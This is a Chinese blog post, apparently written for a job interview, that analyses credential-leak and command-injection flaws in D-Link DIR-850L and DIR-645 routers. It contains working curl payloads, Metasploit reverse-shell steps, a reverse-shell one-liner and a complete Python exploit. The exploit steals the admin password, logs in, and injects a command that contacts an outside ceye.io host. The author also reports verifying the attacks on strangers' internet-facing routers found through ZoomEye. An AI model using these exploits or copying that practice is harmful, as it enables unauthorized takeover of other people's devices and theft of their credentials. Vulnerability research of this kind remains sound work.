这是参加某次面试的笔试题,要求分析D-Link 850L&645路由漏洞。分析过程中还是学了不少东西,面试官也很Nice,对于我不懂的知识,都能一一做个解释。由于逆向能力不足,很多东西还是不能深入,希望以后能够弥补不足。以下是我的分析文章:

一、准备

D-Link 850L 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/

1

将下载下来的 DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP 解压,并使用命令 binwalk -Me DIR850LA1_FW114b07WW.bin 对解压出来的二进制文件进行固件提取。从提取过程的信息中可以看出该路由器使用的是 Squashfs 系统。

2

在提取出来的文件中,存在 190090.squashfs 文件,我们继续使用 binwalk -Me 命令提取该文件。当然,我们也可以使用 unsquashfs 190090.squashfs 命令来提取文件。最终我们需要的文件在 squashfs-root/htdocs/ 路径下。

3

D-Link 645 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

这个如果使用 apt install 安装的 binwalk 会少很多东西,无法成功提取固件,解决方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ sudo apt-get update  
$ sudo apt-get install build-essential autoconf git

# https://github.com/devttys0/binwalk/blob/master/INSTALL.md
$ git clone https://github.com/devttys0/binwalk.git
$ cd binwalk

# python2.7安装
$ sudo python setup.py install

# python2.7手动安装依赖库
$ sudo apt-get install python-lzma

$ sudo apt-get install python-crypto

$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$ sudo pip install pyqtgraph

$ sudo apt-get install python-pip
$ sudo pip install capstone

# Install standard extraction utilities(必选)
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools

# Install sasquatch to extract non-standard SquashFS images(必选)
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)

# Install jefferson to extract JFFS2 file systems(可选)
$ sudo pip install cstruct
$ git clone https://github.com/sviehb/jefferson
$ (cd jefferson && sudo python setup.py install)

# Install ubi_reader to extract UBIFS file systems(可选)
$ sudo apt-get install liblzo2-dev python-lzo
$ git clone https://github.com/jrspruitt/ubi_reader
$ (cd ubi_reader && sudo python setup.py install)

# Install yaffshiv to extract YAFFS file systems(可选)
$ git clone https://github.com/devttys0/yaffshiv
$ (cd yaffshiv && sudo python setup.py install)

# Install unstuff (closed source) to extract StuffIt archive files(可选)
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/

安装好后,直接使用 binwalk -Me 命令即可提取固件内容。

2.1 远程敏感信息读取

2.1.1 漏洞分析

该漏洞文件的位置为:htdocs/web/getcfg.php 具体代码如下:

4

可以发现上图代码 第25-27行 代码,要读取的文件名中存在可控变量 $GETCFG_SVC ,而且该变量从 $_POST[“SERVICES”] 中获取后,没有任何过滤操作。那么要想利用这个漏洞,我们就要让 第16行is_power_user 函数返回1。 is_power_user 函数的功能是用来判断用户权限的,当 $_GLOBALS[“AUTHORIZED_GROUP”] 的值大于等于0时, is_power_user 函数才会返回1。这里的 $_GLOBALS 数组并不是 PHP 的原生数组,而是在 cgibin 文件中定义的,所以我们需要逆一下 cgibin 文件的代码。

观察逆出来的 main 函数,发现程序开头对请求的不同文件名分别进行处理,我们找到 phpcgi_main 函数并跟进。

5

phpcgi_main 函数中,可以看到程序将不同的请求头经过处理后,传给了PHP。在下图 第26-30行 代码中,将经过 sess_validate 验证的数据,赋值给 AUTHORIZED_GROUP ,然后再作为全局数组 $_GLOBALS 传递给PHP程序使用。第30行 代码可以看到,以 \n 分隔储存在字符串中,所以用户可以通过注入带有 \n 字符的恶意 payload 来伪造 $_GLOBALS[“AUTHORIZED_GROUP”] 的值。

6

2.1.2 漏洞验证

我们构造如下 payload ,可以发现可以成功加载 htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 文件并获得账号密码等敏感信息:

1
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://VictimIp:8080/getcfg.php"

7

2.2 通过LAN、WLAN的远程命令执行

2.2.1 漏洞分析

要完成这一攻击,需要结合以下两种漏洞利用方式:

  • 未经身份认证上传任意文件
  • 管理员用户执行任意命令

当管理员接口的配置信息发生改变时,变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ,由 hedwig.cgi 重载并应用这些配置信息,而在接受这个数据前,程序并没有对用户身份进行判断,导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML 数据的过程中, hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。这个我们从 hedwig.cgi 的反汇编代码中就可以看出:

8

9

htdocs/webinc/fatlady.php 文件代码如下,可以看到 第13行 处,将 service 结点的值赋值给 $service 。然后没有经过任何处理,拼接后的字符串再赋值给 $target ,最后在 第19行 加载。

10

在获取到管理员账号密码之后,我们登录路由器管理面板,以管理员身份对 etc/services/DEVICE.TIME.php 文件进一步利用,我们先来看一下这个文件的代码。

11

可以很明显的看到,上图 第28行 处直接将从 XML 获取的 $server 变量拼接在脚本中,这也就形成了命令注入。

2.2.2 漏洞验证

首先通过上传构造好的XML文件,读取存放用户信息的 DEVICE.ACCOUNT.xml.php 文件:

1
curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"

12

接着我们需要使用管理员的身份,对 etc/services/DEVICE.TIME.php 文件的 $server 变量进行注入即可。在 metasploit 中已经集成好了反弹 shell 的攻击程序( dlink_dir850l_unauth_exec.rb ),在 msfconsole 中运行以下命令:

1
2
3
4
use exploit/linux/http/dlink_dir850l_unauth_exec
set RHOST VictimIp
set RPORT 8080
set LHOST AttackerIpset LPORT 9999

13

2.3 LAN下的命令执行

2.3.1 漏洞分析

D-Link 850L 路由器以 root权限 运行 dnsmasq 守护进程,而这个进程会将从 DHCP 服务器获取 host-name ,并用在命令中执行。那么攻击者要想利用这一漏洞,就必须在同一局域网中,将 DHCP 服务器的名字设置成带有恶意 payload 的字符串即可。

2.3.2 漏洞验证(待完成)

3.1 远程敏感信息读取

3.1.1 漏洞分析

通过对比 D-Link 645D-Link 850Lhtdocs/web/getcfg.php 文件,发现代码完全是一样的,所以 D-Link 645 同样也存在远程敏感信息读取漏洞。

14

3.1.2 漏洞验证

1
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://VictimIp:8080/getcfg.php"

15

3.2 通过LAN、WLAN的远程命令执行

3.2.1 漏洞分析

同样,通过对比两个不同版本路由器的 htdocs/webinc/fatlady.php 文件和 etc/services/DEVICE.TIME.php 文件,发现基本一致。

3.2.2 漏洞验证

我们可以修改已经公布的EXP结合 ceye.io 平台,来确认目标机器是否有成功执行命令。EXP程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3
# pylint: disable=C0103
#
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests

try:
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
pass

TARGET = sys.argv[1]
session = requests.Session()
session.verify = False

############################################################

print("Get password...")

headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""

resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)

# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
# : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]

admin_pasw = ""

tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
name = acc.findtext("name", "")
pasw = acc.findtext("password", "")
print("name:", name)
print("pass:", pasw)
if name == "Admin":
admin_pasw = pasw

if not admin_pasw:
print("Admin password not found!")
sys.exit()

############################################################

print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()

print("uid:", resp["uid"])
print("challenge:", resp["challenge"])

session.cookies.update({"uid": resp["uid"]})

print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw

data = {
"id": user_name,
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")

############################################################

data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + "ping `hostname`.xxx.ceye.io" + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"

############################################################

print("hedwig")

headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")

############################################################

print("pigwidgeon")

data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")

16

四、总结

在上面的分析中,由于手头没有真实设备,所有漏洞验证均通过互联网上的设备进行验证。通过 https://www.zoomeye.org/searchResult?q=DIR-850L 可以搜索到很多这类设备,即使过了1年多,漏洞影响还是蛮大的。

17

遇到的问题

  • 在win7下运行最新版jeb需要 MSVCR100.DLL

  • 反编译MIPS代码,可以使用两种工具: IDA的Retdec插件JEB Decompiler for MIPS 。本次分析中,我使用的是 JEB Decompiler for MIPS ,由于没接触过逆向, JEB 反汇编出来的代码只能看个大概。在 JEB 试用版中禁止复制反汇编后的代码,但是可以直接用 Ctrl+X 剪切来复制代码。试用版中,有些代码需要购买正版才能完全反汇编。关于这两个工具的更多使用,可以参考以下几篇文章:

    Retdec 能反mips 源码的IDA插件了解一下:https://bbs.pediy.com/thread-227079.htm

    java应用破解之破解 jeb mips 2.3.3:https://bbs.pediy.com/thread-222503.htm

    JEB官方手册:https://www.pnfsoftware.com/jeb/manual/

  • 看了很多分析文章中,没有提及为什么在远程敏感信息获取的 payload 中要有一个 %0a 。解决这个问题,还是要看cgibin反汇编后的代码才好理解。其实就是上面分析中的 \n\n 对应ASCII码为10,转成url编码就是 %0a

  • 有很多PHP函数是无法搜索到定义的,估计是写在拓展插件中了。如果要查看其定义,可能要再逆一下 .so 文件,这里我并没有继续逆 .so 文件。

  • 在测试 fatlady.php 文件的任意文件读取时,我的POC无法攻击成功。后来根据网络上的攻击POC,抓取其发送的数据包对比修正后,可以攻击成功。主要问题是 Cookie 少了 uid 字段,而且 Content-Type 要设计成 text/xml

    18

  • 在还原 D-Link 850L通过LAN、WLAN的远程命令执行 漏洞过程时,用 sh -i >& /dev/tcp/AttackIP/666 0>&1 payload并不能成功反弹 shell ,但是 metasploit 却可以反弹回来。查看了 dlink_dir850l_unauth_exec.rb 程序源代码,在 server 标签中随机生成8个字符。这里猜测8个字符应该是MSF的 shellcode 经过编译后的程序名,之后在 /var/tmp 目录下确实发现了该程序。

    19

    20

  • 在复现 D-Link 645通过LAN、WLAN的远程命令执行 漏洞时,直接使用 MSFdlink_dir850l_unauth_exec 攻击程序,并不能收到反弹回来的 shell ,估计是 shellcode 不适配,这里我就使用 ceye.io 平台先测试目标是否执行了命令。

  • AttifyOS1.3 是一个专门用于测试 IOT 设备的系统,默认账号密码是:oit : attify123 。本来想用这个系统搭建路由环境,还原一下D-Link 850LLAN下的命令执行 漏洞,但是没成功。

五、参考

D-link 10个0Day漏洞分析(附细节)

SSD Advisory – D-Link 850L Multiple Vulnerabilities (Hack2Win Contest)

D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告

D-Link-Dir-850L-远程命令执行漏洞

D-Link DIR-850L 路由器漏洞验证报告

D-Link系列路由器漏洞挖掘入门

D-Link DIR 系列路由器信息泄露与远程命令执行漏洞

逆向路由器固件之动态调试

关于D-Link DIR 8xx漏洞分析